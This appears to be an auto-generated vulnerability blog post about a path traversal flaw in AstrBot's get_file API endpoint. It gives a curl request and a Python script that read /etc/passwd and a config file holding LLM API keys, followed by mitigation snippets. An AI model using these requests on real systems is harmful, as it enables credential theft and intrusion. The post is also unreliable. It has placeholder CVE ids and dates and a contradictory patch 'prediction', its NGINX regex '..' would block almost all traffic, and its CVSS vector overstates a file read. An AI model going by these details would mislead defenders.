AstrBot, Path Traversal, CVE-2023-XXXX (Critical)

Listen to this Post

How the CVE Works:

This vulnerability exploits improper path sanitization in AstrBot’s API endpoint /api/chat/get_file, allowing attackers to traverse directories via the `filename` parameter. By submitting a crafted request with ../../../, an attacker can access arbitrary files outside the intended directory, such as cmd_config.json. This file contains sensitive data, including LLM API keys, MD5-hashed passwords, and system configurations. The lack of input validation and improper access controls enables unauthorized file reads, leading to full system compromise if exploited.

DailyCVE Form:

Platform: AstrBot
Version: < v3.5.13
Vulnerability: Path Traversal
Severity: Critical
Date: 2023-XX-XX

Prediction: Patch expected by 2023-11-30

What Undercode Say:

Exploitation:

1. Craft malicious request:

curl -L "http://<TARGET_IP>:6185/api/chat/get_file?filename=../../../etc/passwd"

2. Automate exploitation (Python):

import requests
target = "http://0.0.0.0:6185/api/chat/get_file"
payload = {"filename": "../../../data/cmd_config.json"}
response = requests.get(target, params=payload)
print(response.text)

Protection:

1. Patch immediately:

pip install --upgrade astrbot==3.5.13

2. Input validation fix (Python snippet):

from pathlib import Path
def sanitize_path(user_input):
base_dir = Path("/safe/dir")
resolved_path = (base_dir / user_input).resolve()
if not resolved_path.is_relative_to(base_dir):
raise ValueError("Invalid path")
return resolved_path

3. WAF rule (NGINX):

location /api/chat/get_file {
if ($args ~ "..") { return 403; }
}

Analytics:

  • Attack surface: Exposed API endpoints with file operations.
  • CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
  • Mitigation urgency: Critical due to data exfiltration risk.

Post-exploit detection:

grep "get_file" /var/log/astrbot/access.log | grep "../"

References:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top